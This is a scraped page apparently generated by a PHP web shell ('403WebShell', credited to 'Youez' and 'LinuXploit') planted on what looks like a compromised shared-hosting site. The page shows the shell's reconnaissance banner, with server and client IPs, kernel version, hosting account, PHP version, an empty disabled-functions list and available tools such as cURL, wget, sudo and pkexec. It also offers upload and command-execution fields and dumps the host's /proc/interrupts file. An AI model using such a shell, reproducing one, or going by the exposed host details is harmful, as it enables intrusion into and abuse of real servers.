%PDF- %PDF- 403WebShell
403Webshell
Server IP : 79.170.40.229  /  Your IP : 18.119.140.120
Web Server : Apache
System : Linux web230.extendcp.co.uk 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : 1stforcarhirealicante.com ( 296923)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc/interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
   0:         77          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    2-edge      timer
   3:          0          0          0          0          0          0          0          0          0          0          0          0       1090          0          0          0  IR-IO-APIC    3-edge      ttyS1
   8:          0          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0  IR-IO-APIC    8-edge      rtc0
   9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC    9-fasteoi   acpi
  10:          0          0          0          0          0          0  548968819          0          0          0          0          0          0          0          0          0  IR-IO-APIC   10-edge      ipmi_si
  18:          0          0          0          0          0          0          0          0        119          0          0          0          0          0        194          0  IR-IO-APIC   18-fasteoi   ehci_hcd:usb1, ehci_hcd:usb2
  25:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 16384-edge      PCIe PME, aerdrv
  26:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 32768-edge      PCIe PME, aerdrv
  27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 49152-edge      PCIe PME, aerdrv
  28:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 51200-edge      PCIe PME, aerdrv
  29:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 53248-edge      PCIe PME, aerdrv
  30:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 458752-edge      PCIe PME
  31:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 473088-edge      PCIe PME, aerdrv
  35:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 67125248-edge      PCIe PME, aerdrv
  36:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 67158016-edge      PCIe PME, aerdrv
  40:       2484          0       8017          0      27447          0      19861          0      10299          0      15432          0      39551          0      46985          0  IR-PCI-MSI 1572864-edge      megasas0-msix0
  41:          0   31751425          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1572865-edge      megasas0-msix1
  42:          0          0          0   30903390          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1572866-edge      megasas0-msix2
  43:          0          0          0          0          0   30172317          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1572867-edge      megasas0-msix3
  44:          0          0          0          0          0          0          0   29751087          0          0          0          0          0          0          0          0  IR-PCI-MSI 1572868-edge      megasas0-msix4
  45:          0          0          0          0          0          0          0          0          0   28465192          0          0          0          0          0          0  IR-PCI-MSI 1572869-edge      megasas0-msix5
  46:          0          0          0          0          0          0          0          0          0          0          0   28934865          0          0          0          0  IR-PCI-MSI 1572870-edge      megasas0-msix6
  47:          0          0          0          0          0          0          0          0          0          0          0          0          0   28684147          0          0  IR-PCI-MSI 1572871-edge      megasas0-msix7
  48:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   28588085  IR-PCI-MSI 1572872-edge      megasas0-msix8
  49:   37362342          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1572873-edge      megasas0-msix9
  50:          0          0   38349767          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1572874-edge      megasas0-msix10
  51:          0          0          0          0   37100100          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1572875-edge      megasas0-msix11
  52:          0          0          0          0          0          0   38593366          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1572876-edge      megasas0-msix12
  53:          0          0          0          0          0          0          0          0   38058991          0          0          0          0          0          0          0  IR-PCI-MSI 1572877-edge      megasas0-msix13
  54:          0          0          0          0          0          0          0          0          0          0   33170788          0          0          0          0          0  IR-PCI-MSI 1572878-edge      megasas0-msix14
  55:          0          0          0          0          0          0          0          0          0          0          0          0   36187427          0          0          0  IR-PCI-MSI 1572879-edge      megasas0-msix15
  56:          0          0          0          0          0          0          0          0          0          0          0          0          0          0   36835933          0  IR-PCI-MSI 1572880-edge      megasas0-msix16
  57:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 286720-edge      ahci[0000:00:11.4]
  59:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 512000-edge      ahci[0000:00:1f.2]
  61: 2156926149          0 2363888476          0 2740395995          0 1164325628          0  338092168          0 1270420650          0  952656799          0 4129458402          0  IR-PCI-MSI 524288-edge      eth0-tx-0
  62:   82677823          0  199485858          0  244167645          0   89633609          0  196685738          0  139011596          0  357480887          0  123289698          0  IR-PCI-MSI 524289-edge      eth0-rx-1
  63:  183368455          0  247847729          0  163257175          0  151750351          0  129114751          0  136123836          0  105935737          0  144221860          0  IR-PCI-MSI 524290-edge      eth0-rx-2
  64: 3721558953          0 2505862718          0     138374          0 2937303039          0     169868          0 2318789374          0     139563          0  673778265          0  IR-PCI-MSI 524291-edge      eth0-rx-3
  65:  328427518          0  186785488          0  184513218          0   83504056          0  119702656          0  221972857          0   85653339          0  102598550          0  IR-PCI-MSI 524292-edge      eth0-rx-4
  66:          0          0          1          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 526336-edge      eth1-tx-0
  67:          0          0          0          0          1          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 526337-edge      eth1-rx-1
  68:          0          0          0          0          0          0          1          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 526338-edge      eth1-rx-2
  69:          0          0          0          0          0          0          0          0          1          0          0          0          0          0          0          0  IR-PCI-MSI 526339-edge      eth1-rx-3
  70:          0          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0  IR-PCI-MSI 526340-edge      eth1-rx-4
  71:          0          0          0          0          0          0          0          0          0          0          0          0          1          0          0          0  IR-PCI-MSI 1048576-edge      eth2-tx-0
  72:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  DMAR-MSI    0-edge      dmar0
  73:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  DMAR-MSI    1-edge      dmar1
  74:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          1          0  IR-PCI-MSI 1048577-edge      eth2-rx-1
  75:          1          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1048578-edge      eth2-rx-2
  76:          0          0          1          0          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1048579-edge      eth2-rx-3
  77:          0          0          0          0          1          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1048580-edge      eth2-rx-4
  78:          0          0          0          0          0          0          1          0          0          0          0          0          0          0          0          0  IR-PCI-MSI 1050624-edge      eth3-tx-0
  79:          0          0          0          0          0          0          0          0          1          0          0          0          0          0          0          0  IR-PCI-MSI 1050625-edge      eth3-rx-1
  80:          0          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0  IR-PCI-MSI 1050626-edge      eth3-rx-2
  81:          0          0          0          0          0          0          0          0          0          0          0          0          1          0          0          0  IR-PCI-MSI 1050627-edge      eth3-rx-3
  82:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          1          0  IR-PCI-MSI 1050628-edge      eth3-rx-4
 NMI:     103243      71239     100678      64072      97579      61225      97342      59999      99321      57676      94437      57598      96099      57545      96262      57538   Non-maskable interrupts
 LOC: 3753336445 2818514670 3580868680 2499020764 3525520235 2409819957 3477874308 2374349170 3503272288 2323812799 3478928790 2335453250 3476200872 2330784280 3445951497 2328024706   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:     103243      71239     100678      64072      97579      61225      97342      59999      99321      57676      94437      57598      96099      57545      96262      57538   Performance monitoring interrupts
 IWI:  108395028  149019117  106227323  127462179   99861359  118781149  103811179  116079304   99171775  106903524   93843510  110287121  100394356  111150861   94683024  112368514   IRQ work interrupts
 RTR:          9          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:    8453357    3850796   12392018    4113034   21740783    4132448    8814387    3928473    9426041    3605964   22043849    3425021   12104541    3301696   18311485    3222463   Rescheduling interrupts
 CAL:  758634835  410417520  486629002  351540211  503593810  331010876  397902132  322434895  478433253  318908008  499920652  317077370  421441330  313802899  463533817  311228653   Function call interrupts
 TLB:   53528116   45681445   54905627   41798224   47520429   40770842   52794253   40323329   50224631   39914310   44966308   39736951   51873190   39647369   52328123   39367689   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:      15381      15382      15382      15382      15382      15382      15382      15382      15382      15382      15382      15382      15382      15382      15382      15382   Machine check polls
 HYP:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Hypervisor callback interrupts
 HRE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Hyper-V reenlightenment interrupts
 HVS:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Hyper-V stimer0 interrupts
 ERR:          0
 MIS:          0
 PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
 NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
 PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Youez - 2016 - github.com/yon3zu
LinuXploit